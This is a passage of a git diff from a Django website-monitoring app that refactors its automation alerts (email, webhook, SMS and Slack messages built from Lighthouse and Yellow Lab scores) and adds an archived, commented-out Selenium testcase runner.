data elif 'current_yellowlab_average' in e['data_type']: - data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' + title = 'Yellow Lab Avg' + data = str(item.yellowlab_delta["scores"]["current_average"]) elif 'pageWeight_delta' in e['data_type']: - data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' - elif 'requests_delta' in e['data_type']: - data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + title = 'Page Weight Delta' + data = str(item.yellowlab_delta["scores"]["pageWeight_delta"]) + elif 'images_delta' in e['data_type']: + title = 'Images Delta' + data = str(item.yellowlab_delta["scores"]["images_delta"]) elif 'domComplexity_delta' in e['data_type']: - data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' + title = 'DOM Complexity Delta' + data = str(item.yellowlab_delta["scores"]["domComplexity_delta"]) elif 'javascriptComplexity_delta' in e['data_type']: - data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t' + title = 'JS Complexity Delta' + data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"]) elif 'badJavascript_delta' in e['data_type']: - data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t' + title = 'Bad JS Delta' + data = str(item.yellowlab_delta["scores"]["badJavascript_delta"]) elif 'jQuery_delta' in e['data_type']: - data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t' + title = 'jQuery Delta' + data = str(item.yellowlab_delta["scores"]["jQuery_delta"]) elif 'cssComplexity_delta' in e['data_type']: - data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t' + title = 'CSS Complexity Delta' + data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"]) elif 'badCSS_delta' in e['data_type']: - data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t' + title = 'Bad CSS Delta' + data = str(item.yellowlab_delta["scores"]["badCSS_delta"]) elif 'fonts_delta' in e['data_type']: - data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t' + title = 'Fonts Delta' + data = str(item.yellowlab_delta["scores"]["fonts_delta"]) elif 'serverConfig_delta' in e['data_type']: - data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t' + title = 'Server Configs Delta' + data = str(item.yellowlab_delta["scores"]["serverConfig_delta"]) # yellowlab scan data elif 'yellowlab_average' in e['data_type']: - data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' + title = 'Yellow Lab Avg' + data = str(item.yellowlab["scores"]["globalScore"]) elif 'pageWeight' in e['data_type']: - data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' - elif 'requests' in e['data_type']: - data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + title = 'Page Weight' + data = str(item.yellowlab["scores"]["pageWeight"]) + elif 'images' in e['data_type']: + title = 'Images' + data = str(item.yellowlab["scores"]["images"]) elif 'domComplexity' in e['data_type']: - data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' + title = 'DOM Complexity' + data = str(item.yellowlab["scores"]["domComplexity"]) elif 'javascriptComplexity' in e['data_type']: - data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t' + title = 'JS Complexity' + data = str(item.yellowlab["scores"]["javascriptComplexity"]) elif 'badJavascript' in e['data_type']: - data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t' + title = 'Bad JS' + data = str(item.yellowlab["scores"]["badJavascript"]) elif 'jQuery' in e['data_type']: - data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t' + title = 'jQuery' + data = str(item.yellowlab["scores"]["jQuery"]) elif 'cssComplexity' in e['data_type']: - data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t' + title = 'CSS Complexity' + data = str(item.yellowlab["scores"]["cssComplexity"]) elif 'badCSS' in e['data_type']: - data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t' + title = 'Bad CSS' + data = str(item.yellowlab["scores"]["badCSS"]) elif 'fonts' in e['data_type']: - data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t' + title = 'Fonts' + data = str(item.yellowlab["scores"]["fonts"]) elif 'serverConfig' in e['data_type']: - data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + title = 'Server Configs' + data = str(item.yellowlab["scores"]["serverConfig"]) + # image data elif 'avg_image_score' in e['data_type']: - data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + title = 'Avg Image Score' + data = str(item.images_delta["average_score"]) elif 'image_scores' in e['data_type']: - data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + title = 'List of Image Scores' + data = str([i["score"] for i in item.images_delta["images"]]) + # logs data elif 'logs' in e['data_type']: - data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - - - elif 'testcase' in e['data_type']: - status = 'Failed' - if e['value'] == 'True': - status = 'Passed' - data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status) + title = 'Error Logs' + data = str(len(item.logs)) + # create data string + data_str = f' {title}: {data}\n' + exp_str += data_str - exp_list.append(data_type) + # add to exp_list + exp_list.append({ + 'title': title, + 'data': data + }) - if is_email: - return exp_list + # formating return data + data = { + 'exp_list': exp_list, + 'exp_str': exp_str, + } - exp_str = ('\t'+''.join(exp_list)) - return exp_str + return data +def create_json_data(json_data: dict=None, item: object=None) -> dict: + """ + Builds an expression list (exp_list = []) based + on the passed 'item' and `Automation`. -def create_json_data(data, obj): - json_data = data - item = obj + Expects: { + 'item' : object (Scan, Test, Testcase), + 'automation' : object + } + + Returns -> dict + """ + # looping through json_data to + # update values with item.data for key in json_data: + + # high-level test score if 'test_score' == json_data[key]: json_data[key] = item.score + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + + # high-level scan score + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + + # LH test data elif 'seo_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] elif 'pwa_delta' == json_data[key]: @@ -157,16 +434,10 @@ def create_json_data(data, obj): json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] elif 'accessibility_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] - elif 'current_health' == json_data[key]: - json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) - elif 'health' == json_data[key]: - json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) - elif 'logs' == json_data[key]: - json_data[key] = len(item.logs) elif 'current_lighthouse_average' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["current_average"] - elif 'current_average' == json_data[key]: - json_data[key] = item.lighthouse["scores"]["current_average"] + + # LH scan data elif 'seo' == json_data[key]: json_data[key] = item.lighthouse["scores"]["seo"] elif 'pwa' == json_data[key]: @@ -180,12 +451,13 @@ def create_json_data(data, obj): elif 'accessibility' == json_data[key]: json_data[key] = item.lighthouse["scores"]["accessibility"] + # YL test data elif 'current_yellowlab_average' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["current_average"] elif 'pageWeight_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] - elif 'requests_delta' == json_data[key]: - json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'images_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["images_delta"] elif 'domComplexity_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] elif 'javascriptComplexity_delta' == json_data[key]: @@ -203,12 +475,13 @@ def create_json_data(data, obj): elif 'serverConfig_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + # YL scan data elif 'yellowlab_average' == json_data[key]: json_data[key] = item.yellowlab["scores"]["globalScore"] elif 'pageWeight' == json_data[key]: json_data[key] = item.yellowlab["scores"]["pageWeight"] - elif 'requests' == json_data[key]: - json_data[key] = item.yellowlab["scores"]["requests"] + elif 'images' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["images"] elif 'domComplexity' == json_data[key]: json_data[key] = item.yellowlab["scores"]["domComplexity"] elif 'javascriptComplexity' == json_data[key]: @@ -226,38 +499,60 @@ def create_json_data(data, obj): elif 'serverConfig' == json_data[key]: json_data[key] = item.yellowlab["scores"]["serverConfig"] - elif 'avg_image_score' == json_data[key]: - json_data[key] = item.images_delta["average_score"] - elif 'image_scores' == json_data[key]: - json_data[key] = [i["score"] for i in item.images_delta["images"]] + # return updated json + return json_data - return json_data +def get_item(object_id: str=None) -> dict: + """ + Tries to find an object that matches theh passed 'object_id'. + Expects: { + 'object_id': str, + } + Returns -> data: { + 'item' : object (Scan, Test, Testcase), + 'item_type' : str, + 'success' : bool + } + """ + # init item + item = None + item_type = '' + success = False -def get_item(object_id): - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: + # check for item + if not item: + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + success = True + except: + pass + if not item: try: item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' + success = True except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} - + pass + if not item: + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + success = True + except: + pass + + # format and return data data = { - 'item_type': item_type, 'item': item, - 'success': True + 'item_type': item_type, + 'success': success } return data @@ -265,36 +560,67 @@ def get_item(object_id): +def automation_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an automation email to the User with + the passed 'email' + + Expects: { + 'email' : str, + 'automation_id' : str, + 'object_id' : str + } + + Returns -> data: { + 'success': bool + } + """ -def automation_email(email=None, automation_id=None, object_id=None): + # check if data is present if email and automation_id: + + # get automation automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site - + # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # getting object data item = data['item'] item_type = data['item_type'] - exp_list = create_exp_str(item=item, automation=automation, is_email=True) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - subject = f'Alert for {site.site_url}' - title = f'Alert for {site.site_url}' - pre_header = f'Alert for {site.site_url}' + # deciding if "page" or "site" scope + if item_type == 'Testcase': + url = item.site.site_url + dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}' + else: + url = item.page.page_url + dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}' + + # generating expressions from automation + exp_list = create_exp( + item=item, + automation=automation + )['exp_list'] + + # build email data + object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{str(item.id)}' + subject = f'Alert for {url}' + title = f'Alert for {url}' + pre_header = f'Alert for {url}' pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n' + f'Scanerr just finished running a {item_type} for {url}. ' + f'Below are the current stats:' ) content = ( f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' + f'You can change the automation and schedule in your ' + f'dashboard.' ) - subject = subject + context = { 'title' : title, 'subject': subject, @@ -303,25 +629,15 @@ def automation_email(email=None, automation_id=None, object_id=None): 'exp_list': exp_list, 'object_url' : object_url, 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'View Site Dashboard', + 'button_text' : f'View {item_type}', 'content' : content, 'email': email, 'signature' : '- Cheers!', } + # send email sendgrid_email(message_obj=context) - # html_message = render_to_string('api/automation_email.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [email], - # html_message = html_message, - # fail_silently = True, - # ) - data = { 'success': True } @@ -336,56 +652,71 @@ def automation_email(email=None, automation_id=None, object_id=None): +def automation_report_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an automation report email to the User with + the passed 'email' + + Expects: { + 'email' : str, + 'automation_id' : str, + 'object_id' : str + } + + Returns -> data: { + 'success': bool + } + """ -def automation_report_email(email=None, automation_id=None, object_id=None): + # check if data is present if email and automation_id: + + # retrieving user + user = User.objects.get(email=email) + + # get automation and deciding if "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site - + + # get `Report` if exists try: - item = Report.objects.get(id=uuid.UUID(object_id)) + report = Report.objects.get(id=uuid.UUID(object_id)) item_type = 'Report' + url = report.page.page_url except: return {'success': False} - exp_list = '' - object_url = str(item.path) - subject = f'Report for {site.site_url}' - title = f'Report for {site.site_url}' - pre_header = f'Report for {site.site_url}' + # build email data + object_url = str(report.path) + subject = f'Report for {url}' + title = f'Report for {url}' + pre_header = f'Report for {url}' pre_content = ( - f'Scanerr just finished creating a {item_type} for {site.site_url}. ' - f'Please click the link below to access and download the report.\n' + f'Scanerr just finished creating a ' + f'Report for {url}. ' + f'Please click the link below to access and download the PDF.' ) content = ( - f'This message was triggered by an automation created with Scanerr. ' - f'You can change the automation and schedule in your site\'s dashboard. ' + f'\nThis message was triggered by an automation created with Scanerr. ' + f'You can change the automation and schedule in your ' + f'dashboard.' ) - subject = subject + context = { 'title' : title, + 'subject': subject, 'pre_header' : pre_header, 'pre_content' : pre_content, - 'exp_list': exp_list, 'object_url' : object_url, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'home_page' : settings.CLIENT_URL_ROOT, 'button_text' : 'View Report', 'content' : content, + 'email': email, 'signature' : '- Cheers!', } - html_message = render_to_string('api/automation_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) - + # send email + sendgrid_email(message_obj=context) data = { 'success': True } @@ -401,38 +732,63 @@ def automation_report_email(email=None, automation_id=None, object_id=None): def automation_webhook( - request_type=None, - request_url=None, - request_data=None, - automation_id=None, - object_id=None, - ): + request_type: str=None, + request_url: str=None, + request_data: dict=None, + automation_id: str=None, + object_id: str=None, + ) -> dict: + """ + Sends a GET or POST request to the passed 'request_url' + with the passed 'request_data' + + Expects: { + 'request_type' : str, + 'request_url' : str, + 'request_data' : dict, + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ + + # checking that data is present if request_type and automation_id and request_url and request_data and object_id: + + # deciding if "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get object and type item = data['item'] item_type = data['item_type'] + + # deciding if "page" or "site" scope + if item_type == 'Testcase': + url = item.site.site_url + else: + url = item.page.page_url + # building json pre_json_data = json.loads(request_data) - json_data = create_json_data(data=pre_json_data, obj=item) + json_data = create_json_data(pre_json_data, item) + # send the request try: if request_type == 'POST': response = requests.post(request_url, data=json_data) elif request_data == 'GET': response = requests.get(request_url, params=json_data) - - print(response.json()) - except: - data = {'success': False} + return {'success': False} data = { 'success': True @@ -448,39 +804,66 @@ def automation_webhook( +def automation_phone(phone_number: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an SMS alert to the passed 'phone_number' + with the `Automation` data + + Expects: { + 'phone_number' : str, + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ -def automation_phone(phone_number=None, automation_id=None, object_id=None): + # checking if data is present if phone_number and automation_id and object_id: + + # getting schedule and automation automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get obj and type item = data['item'] item_type = data['item_type'] - exp_str = create_exp_str(item=item, automation=automation) + # deciding if "page" or "site" scope + if item_type == 'Testcase': + url = item.site.site_url + dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}' + else: + url = item.page.page_url + dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}' + + # build the exp_str + exp_str = create_exp(item=item, automation=automation)['exp_str'] - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + # build message data + object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}' pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' + f'Scanerr just finished running a {item_type} for {url}. ' + f'Below are the current stats:\n\n{exp_str}\n' + f'View {item_type}: {object_url}\n\n' ) content = ( f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' + f'You can change the automation and schedule in your dashboard: {dash_link}' ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - + body = f'Hi there,\n\n{pre_content}{content}' account_sid = os.environ.get("TWILIO_SID") auth_token = os.environ.get("TWILIO_AUTH_TOKEN") client = Client(account_sid, auth_token) + # send message message = client.messages.create( to=phone_number, from_=os.environ.get('TWILIO_NUMBER'), @@ -501,39 +884,66 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None): -def automation_slack(automation_id=None, object_id=None): +def automation_slack(automation_id: str=None, object_id: str=None) -> dict: + """ + Sends a Slack alert with the `Automation` data + + Expects: { + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ + + # check if data is present if automation_id and object_id: + + # getting schedule, account and automation automation = Automation.objects.get(id=automation_id) account = Account.objects.get(user=automation.user) schedule = automation.schedule - site = schedule.site # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get obj and type item = data['item'] item_type = data['item_type'] - exp_str = create_exp_str(item=item, automation=automation) + # deciding if "page" or "site" scope + if item_type == 'Testcase': + url = item.site.site_url + dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}' + else: + url = item.page.page_url + dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}' - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + # build exp_str + exp_str = create_exp(item=item, automation=automation)['exp_str'] + + # build message data + object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}' pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' + f'Scanerr just finished running a `{item_type}` for {url}. ' + f'Below are the current stats:\n\n```{exp_str}```\n' + f'<{object_url}|*View {item_type}*>\n\n' ) content = ( f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' + f'You can change the automation and schedule in your ' + f'<{dash_link}|dashboard>.' ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - + body = f'Hi there,\n\n{pre_content}{content}' token = account.slack['bot_access_token'] channel = account.slack['slack_channel_id'] - client = WebClient(token=token) + + # send message try: response = client.chat_postMessage( channel=channel, @@ -566,34 +976,31 @@ def automation_slack(automation_id=None, object_id=None): - - - -def sendgrid_email(message_obj): +def sendgrid_email(message_obj: dict=None) -> dict: """ Tries to send an email via the SendGrid API. Expects the following: - "message_obj": { - 'pre_content': , - 'content': , - 'subject': , - 'title': , - 'pre_header': , - 'button_text': , - 'exp_list': , - 'email': , - 'template': , - 'object_url': , - 'signature': + 'message_obj': dict { + 'pre_content': str, + 'content': str, + 'subject': str, + 'title': str, + 'pre_header': str, + 'button_text': str, + 'exp_list': list, + 'email': str, + 'template': str, + 'object_url': str, + 'signature': str, + 'greeting': str, } Returns --> data: { - 'message': True + 'success': bool } """ - # defining data pre_content = message_obj.get('pre_content') content = message_obj.get('content') @@ -605,16 +1012,17 @@ def sendgrid_email(message_obj): exp_list = message_obj.get('exp_list') object_url = message_obj.get('object_url') signature = message_obj.get('signature', '- Cheers!') - + greeting = message_obj.get('greeting', 'Hi there,') # build template data template_data = { + 'greeting': greeting, 'title' : title, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : object_url, 'exp_list': exp_list, - 'home_page' : settings.LANDING_URL_ROOT, + 'home_page' : settings.LANDING_API_ROOT, 'button_text' : button_text, 'content' : content, 'signature' : signature, @@ -628,7 +1036,6 @@ def sendgrid_email(message_obj): if exp_list is not None: template = settings.AUTOMATION_TEMPLATE - # init SendGrid message message = Mail( from_email=From('hello@scanerr.io', 'Scanerr'), # prod -> settings.EMAIL_HOST_USER @@ -644,13 +1051,22 @@ def sendgrid_email(message_obj): sg = SendGridAPIClient(settings.SENDGRID_API_KEY) response = sg.send(message) status = True + error = None except Exception as e: status = False + error = e.message print(e.message) - + # formatting resposne data = { - 'success': status + 'success': status, + 'error': error } return data + + + + + + diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py new file mode 100644 index 00000000..c47108bf --- /dev/null +++ b/app/api/utils/archive/caser.py @@ -0,0 +1,899 @@ +# from .driver_p import driver_init as driver_p_init +# from .driver_s import driver_init as driver_init +# from .driver_s import driver_wait, quit_driver +# from .issuer import Issuer +# import time, uuid, json, boto3, os +# from selenium.webdriver.common.by import By +# from selenium.webdriver.common.keys import Keys +# from ..models import * +# from datetime import datetime +# from asgiref.sync import sync_to_async +# from scanerr import settings + + + + + + +# class Caser(): +# """ +# Run a `Testcase` for a specific `Site`. + +# Expects: { +# 'testcase' : object, +# } + +# - Use `Caser.run_s()` to run with selenium +# - Use `Caser.run_p()` to run with puppeteer + +# Returns -> None +# """ + + + + +# def __init__(self, testcase: object=None): +# self.testcase = testcase +# self.site_url = self.testcase.site.site_url +# self.steps = self.testcase.steps +# self.case_name = self.testcase.case.name +# self.configs = self.testcase.configs +# self.s_keys = { +# '+': Keys.ADD, +# 'Alt': Keys.ALT, +# 'ArrowDown': Keys.ARROW_DOWN, +# 'ArrowLeft': Keys.ARROW_LEFT, +# 'ArrowRight': Keys.ARROW_RIGHT, +# 'ArrowUp': Keys.ARROW_UP, +# 'Backspace': Keys.BACKSPACE, +# 'Control': Keys.CONTROL, +# '.': Keys.DECIMAL, +# 'Delete': Keys.DELETE, +# '/': Keys.DIVIDE, +# 'Enter': Keys.ENTER, +# '=': Keys.EQUALS, +# 'Escape': Keys.ESCAPE, +# 'Meta': Keys.META, +# '*': Keys.MULTIPLY, +# '0': Keys.NUMPAD0, +# '1': Keys.NUMPAD1, +# '2': Keys.NUMPAD2, +# '3': Keys.NUMPAD3, +# '4': Keys.NUMPAD4, +# '5': Keys.NUMPAD5, +# '6': Keys.NUMPAD6, +# '7': Keys.NUMPAD7, +# '8': Keys.NUMPAD8, +# '9': Keys.NUMPAD9, +# ';': Keys.SEMICOLON, +# 'Shift': Keys.SHIFT, +# 'Space': Keys.SPACE, +# '-': Keys.SUBTRACT, +# 'Tab': Keys.TAB +# } + + + + +# @sync_to_async +# def update_testcase( +# self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, +# passed: bool=None, exception: str=None, time_completed: str=None, image: str=None, +# ) -> None: +# # updates Tescase for a puppeteer run (async) +# if start_time != None: +# self.testcase.steps[index][type]['time_created'] = str(start_time) +# if end_time != None: +# self.testcase.steps[index][type]['time_completed'] = str(end_time) +# if passed != None: +# self.testcase.steps[index][type]['passed'] = passed +# if exception != None: +# self.testcase.steps[index][type]['exception'] = str(exception) +# if image != None: +# self.testcase.steps[index][type]['image'] = str(image) +# if time_completed != None: +# self.testcase.time_completed = time_completed +# test_status = True +# for step in self.testcase.steps: +# if step['action']['passed'] == False: +# test_status = False +# if step['assertion']['passed'] == False: +# test_status = False +# self.testcase.passed = test_status + +# self.testcase.save() +# return None + + + + +# def update_testcase_s( +# self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, +# passed: bool=None, exception: str=None, time_completed: str=None, image: str=None, +# ) -> None: +# # updates Tescase for a selenium run (async) +# if start_time != None: +# self.testcase.steps[index][type]['time_created'] = str(start_time) +# if end_time != None: +# self.testcase.steps[index][type]['time_completed'] = str(end_time) +# if passed != None: +# self.testcase.steps[index][type]['passed'] = passed +# if exception != None: +# self.testcase.steps[index][type]['exception'] = str(exception) +# if image != None: +# self.testcase.steps[index][type]['image'] = str(image) +# if time_completed != None: +# self.testcase.time_completed = time_completed +# test_status = True +# for step in self.testcase.steps: +# if step['action']['passed'] == False: +# test_status = False +# if step['assertion']['passed'] == False: +# test_status = False +# self.testcase.passed = test_status + +# self.testcase.save() +# return + + + + +# @sync_to_async +# def format_element(self, element): +# elememt = json.dumps(element).rstrip('"').lstrip('"') +# return str(element) + + + + +# def format_element_s(self, element): +# elememt = json.dumps(element).rstrip('"').lstrip('"') +# return str(element) + + + + +# async def save_screenshot(self, page: object=None) -> str: +# ''' +# Grabs & uploads a screenshot of the `page` +# passed in the params. + +# Returns -> `image_url` +# ''' + +# # setup boto3 configurations +# s3 = boto3.client( +# 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), +# aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), +# region_name=str(settings.AWS_S3_REGION_NAME), +# endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) +# ) + +# # setting id for image +# pic_id = uuid.uuid4() + +# # get screenshot +# await page.screenshot({'path': f'{pic_id}.png'}) + +# # seting up paths +# image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') +# remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png' +# root_path = settings.AWS_S3_URL_PATH +# image_url = f'{root_path}/{remote_path}' + +# # upload to s3 +# with open(image, 'rb') as data: +# s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), +# remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} +# ) +# # remove local copy +# os.remove(image) + +# # returning image url +# return image_url + + + + +# def save_screenshot_s(self) -> str: +# ''' +# Grabs & uploads a screenshot of the `page` +# passed in the params. + +# Returns -> `image_url` +# ''' + +# # setup boto3 configurations +# s3 = boto3.client( +# 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), +# aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), +# region_name=str(settings.AWS_S3_REGION_NAME), +# endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) +# ) + +# # setting id for image +# pic_id = uuid.uuid4() + +# # get screenshot +# self.driver.save_screenshot(f'{pic_id}.png') + +# # seting up paths +# image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') +# remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png' +# root_path = settings.AWS_S3_URL_PATH +# image_url = f'{root_path}/{remote_path}' + +# # upload to s3 +# with open(image, 'rb') as data: +# s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), +# remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} +# ) +# # remove local copy +# os.remove(image) + +# # returning image url +# return image_url + + + +# @sync_to_async +# def format_exception(self, exception: str) -> str: +# """ +# Cleans the passed `exception` of any +# system refs and unnecessary info + +# Expects: { +# "exception": str +# } + +# Returns -> str +# """ + +# split_e = str(exception).split('Stacktrace:') +# new_exception = split_e[0] + +# return new_exception + + + + +# def format_exception_s(self, exception: str) -> str: +# """ +# Cleans the passed `exception` of any +# system refs and unnecessary info + +# Expects: { +# "exception": str +# } + +# Returns -> str +# """ + +# split_e = str(exception).split('Stacktrace:') +# new_exception = split_e[0] + +# return new_exception + + + + +# def run_s(self) -> None: +# """ +# Runs the self.testcase using selenium as the driver + +# Returns -> None +# """ + +# print(f'beginning testcase for {self.site_url} \ +# using case {self.case_name}') + +# # initate driver +# self.driver = driver_init( +# window_size=self.configs['window_size'], +# device=self.configs['device'] +# ) + +# # setting implict wait_time for driver +# self.driver.implicitly_wait(self.configs['max_wait_time']) + +# i = 0 +# for step in self.steps: +# print(f'-- running step #{i+1} --') + +# # adding catch if nav is not first +# if i == 0 and step['action']['type'] != 'navigate': +# print(f'navigating to {self.site_url} before first step') +# # using selenium, navigate to site root path & wait for page to load +# self.driver.get(f'{self.site_url}') +# time.sleep(int(self.configs['min_wait_time'])) + +# if step['action']['type'] == 'navigate': +# exception = None +# passed = True +# self.update_testcase_s( +# index=i, type='action', +# start_time=datetime.now() +# ) + +# try: +# print(f'navigating to {self.site_url}{step["action"]["path"]}') +# # using selenium, navigate to requested path & wait for page to load +# driver_wait( +# driver=self.driver, +# interval=int(self.configs.get('interval', 1)), +# min_wait_time=int(self.configs.get('min_wait_time', 3)), +# max_wait_time=int(self.configs.get('max_wait_time', 30)), +# ) +# self.driver.get(f'{self.site_url}{step["action"]["path"]}') +# time.sleep(int(self.configs['min_wait_time'])) +# image = self.save_screenshot_s() + +# except Exception as e: +# image = self.save_screenshot_s() +# exception = self.format_exception_s(e) +# passed = False + +# self.update_testcase_s( +# index=i, type='action', +# end_time=datetime.now(), +# passed=passed, +# exception=exception, +# image=image +# ) + + +# if step['action']['type'] == 'scroll': +# 